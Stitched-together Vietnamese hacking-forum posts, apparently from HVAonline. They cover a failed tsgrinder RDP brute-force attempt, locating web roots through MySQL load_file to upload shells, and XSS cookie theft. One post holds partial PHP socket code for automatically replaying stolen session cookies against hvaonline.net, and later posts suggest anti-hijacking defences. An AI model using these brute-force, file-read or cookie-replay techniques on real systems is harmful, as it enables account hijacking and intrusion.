To: seamuon
giải thích em lỗi này với:

G:\tsgrinder\tsgrinder -l leet -u administrator 192.168.1.222
unable to open leet file 'leet'
 

G:\tsgrinder\tsgrinder -w password -u administrator 192.168.1.222
unable to open leet file 'leet'
 

không hiểu sao nó cứ báo lỗi không mở được file "leet" này em
Em thử với file "password" nó cũng báo vậy.

 

Nếu không thực thi được command thì làm sao xác định được nó đang nằm ở thư mục nào. Trên *nix thì có thể xác nhận phiên bản Apache rồi dễ dàng đọc file vì đa số đều cài mặc định như: /ect/apache2/site-available/default là có thể biết được trang đó đang được đặt ở thư mục nào thông qua hàm load_file của MySQL.
 

Đối với IIS thì tôi chưa biết hacker có thể đọc file nào để xác nhận nếu tôi tạo Virtual Directory ở nơi nào đó nên cũng có thể xem là khá an toàn. Nếu không đúng mong bạn cho một ví dụ cụ thể.
Bạn sẽ làm được gì nếu upload vào C: trong khi PHP chỉ hiệu lực với thư mục nào đó đang ở đâu đó?

Nếu kiến thức của tôi dở thì mong các bạn đưa ra luôn ví dụ cho dễ thấy nhất những cái dở của tôi hơn là nói nó linh tinh, cảm ơn. 

Tất nhiên rồi thưa anh. Thế nhưng:
PHP đâu có giống với ASP để có thể chạy được lệnh của Windows thông qua SQL Injection.
 

Dù không liên quan nhưng kẻ tấn công muốn vào thì phải biết PHP đang được chạy ở thư mục nào thì may ra mới hành động được. Công việc xem ra không đơn giản như việc đọc file httpd.conf để xác nhậnn Virtual Directory một cách dễ dàng.

Xem ra IIS khá an toàn trong việc tránh upload shell vì khó mà biết site đang đặt ở thư mục nào để upload shell lên
 

1) Nếu bồ muốn phân tích và thảo luận về luật IT, bồ nên đưa ra chính xác nguyên bản phần luật bồ nghĩ cần phải thảo luận. Không nên đưa ra dăm ba dòng không chính xác với nguyên bản đồng thời chêm vào bình luận cá nhân.
 

chả có cao kiến gì, chỉ thấy nó sơ sài nên góp ý !  

@boom_it: đoạn mã cậu post lên tui chưa thấy tính tự động ở đâu cả. Cái tự động ở đây theo ý tui là ngay khi cái file log.txt nhận được cookie được gởi đến bởi nạn nhân thì ngay lập tức nó lấy giá trị cookie + HTTP header đó generate ra một http request đến server HVA ngay lập tức để lấy cookie mới kìa  

<?php
function getURL(){
error_reporting(E_ALL);
$filenameurl = "urlip.txt"; //the default blog file
$sReponse="heheheheh";
//echo "<h2>TCP/IP Connection</h2>\n";
/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');
/* Get the IP address for the target host. */
$address = gethostbyname('www.hvaonline.net/......'); //gì gì đó 
/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
//echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
//echo "OK.\n";
}
//echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
//echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
//echo "OK.\n";
}
$in = "GET /hvaonline/posts/reply/0/15621.html HTTP/1.1\r\n"; /// ... gì gì đó 
$in .= "Host:www.hvaonline.net\r\n";
//chỗ này chèn thông tin thu thập gì gì đó
//..
//..
$in .= "Connection: Close\r\n\r\n";
$out = '';
//echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
//echo "OK.\n";
//echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
//echo $out;
$sReponse .= $out;
}
//echo "Closing socket...";
socket_close($socket);
//echo "OK.\n\n";
if (file_exists("$filenameurl")) {
$fp = fopen($filenameurl,"a+");
fputs($fp,"==========\n".$sReponse."\n==========\n");
fclose($fp);
}
}

:

conmale wrote:

Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 

hiện tại boom_jt chưa nghĩ ra, mong bác conmale chỉ giáo  

hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi  

1- Hạn chế quyền của VMod và Mod, đặc biệt trong việc "xóa" bài. Thí dụ chỉ cho phép Vmod hay Mod xóa nhiều nhất là 5 post trong một phiên kết nối và hoàn toàn không có quyền xóa toàn bộ một topic, cũng như chỉ cho phép "ban" hay "warning" tối đa 1 nick trong một phiên kết nối. (Thưc ra quyền hạn của Mod hay VMod trong HVA vốn cũng đã hạn chê).

 

2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root.

 

1- Áp dụng suy luận "ngoại phạm" hay "nôi phạm" gì đó của bên công an điều tra. Nghĩa là về nguyên tắc một user, tại một thời điểm xác định (theo Date và Time của Server) thì không thể cùng có mặt tại hai URL khác nhau. Ở đây có thể cải tiến tiện ích hiện hữu vốn rất hay của HVA forum là "ai đang làm gì, ở đâu" để phát hiện ra hacker.

 

2- Cải tiến một tiện ích Monitoring user hay đựoc cài trên các Website, từ đó phát hiện ra một nickname nào đó lại dùng các OS, trình duyệt... khác nhau trong cùng một phiên kết nối. Từ đó phát hiện khả năng nickname này đang bị chiếm đoạt.